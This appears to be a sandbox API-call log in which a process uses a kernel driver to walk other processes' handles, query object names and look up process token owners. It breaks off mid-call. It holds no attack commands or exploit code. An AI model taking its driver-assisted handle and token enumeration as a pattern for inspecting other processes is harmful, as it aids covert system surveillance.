PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.110] PsAcquireProcessExitSynchronization () returned 0x0 [0075.110] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0) [0075.110] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0075.110] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.110] PsReleaseProcessExitSynchronization () returned 0x2 [0075.110] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0075.110] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.110] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0075.110] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.110] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.110] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0075.110] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.110] PsAcquireProcessExitSynchronization () returned 0x0 [0075.110] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0) [0075.110] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0075.111] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.111] PsReleaseProcessExitSynchronization () returned 0x2 [0075.111] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0075.111] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.111] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0075.111] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.111] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.111] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.111] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.111] PsAcquireProcessExitSynchronization () returned 0x0 [0075.111] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0) [0075.111] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.111] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.111] PsReleaseProcessExitSynchronization () returned 0x2 [0075.111] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0075.111] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.111] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.111] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.111] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.111] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.111] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.111] PsAcquireProcessExitSynchronization () returned 0x0 [0075.111] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0) [0075.111] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0075.111] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.111] PsReleaseProcessExitSynchronization () returned 0x2 [0075.111] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0075.111] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.111] ObfDereferenceObject (Object=0xfffffa8002164d10) returned 0x1 [0075.111] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.112] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.112] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.112] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.112] PsAcquireProcessExitSynchronization () returned 0x0 [0075.112] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880054f85d0) [0075.112] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0075.112] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.112] PsReleaseProcessExitSynchronization () returned 0x2 [0075.112] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0075.112] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.112] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0075.112] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.112] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.112] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0075.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.112] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 [0075.112] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.112] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0075.112] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.112] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.112] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.112] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.112] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.114] CloseHandle (hObject=0xc8) returned 1 [0075.114] CloseHandle (hObject=0xc0) returned 1 [0075.114] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.114] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.114] PsAcquireProcessExitSynchronization () returned 0x0 [0075.114] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0) [0075.114] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0075.114] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.114] PsReleaseProcessExitSynchronization () returned 0x2 [0075.114] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0075.114] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.114] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0075.114] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.114] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.114] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0075.114] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.114] PsAcquireProcessExitSynchronization () returned 0x0 [0075.114] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0) [0075.114] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0075.114] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.115] PsReleaseProcessExitSynchronization () returned 0x2 [0075.115] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0075.115] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.115] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0075.115] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.115] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.115] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.115] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.115] PsAcquireProcessExitSynchronization () returned 0x0 [0075.115] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0) [0075.115] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.115] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.115] PsReleaseProcessExitSynchronization () returned 0x2 [0075.115] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0075.115] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.115] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.115] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.115] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.115] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.115] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.115] PsAcquireProcessExitSynchronization () returned 0x0 [0075.115] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0) [0075.115] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0075.115] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.115] PsReleaseProcessExitSynchronization () returned 0x2 [0075.115] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0075.115] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.115] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0075.115] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.116] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.116] PsAcquireProcessExitSynchronization () returned 0x0 [0075.116] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880054f85d0) [0075.116] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0075.116] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.116] PsReleaseProcessExitSynchronization () returned 0x2 [0075.116] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0075.116] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.116] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0075.116] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.116] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0075.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.116] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0075.116] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.116] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0075.116] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.116] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.116] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.116] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.116] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.118] CloseHandle (hObject=0xc8) returned 1 [0075.118] CloseHandle (hObject=0xc0) returned 1 [0075.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.118] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.118] PsAcquireProcessExitSynchronization () returned 0x0 [0075.118] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0) [0075.118] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0075.118] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.118] PsReleaseProcessExitSynchronization () returned 0x2 [0075.118] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0075.118] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.118] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0075.118] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.118] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0075.118] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.118] PsAcquireProcessExitSynchronization () returned 0x0 [0075.118] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0) [0075.119] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0075.119] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.119] PsReleaseProcessExitSynchronization () returned 0x2 [0075.119] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0075.119] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.119] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0075.119] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.119] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.119] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.119] PsAcquireProcessExitSynchronization () returned 0x0 [0075.119] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0) [0075.119] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.119] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.119] PsReleaseProcessExitSynchronization () returned 0x2 [0075.119] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0075.119] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.119] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.119] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.119] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 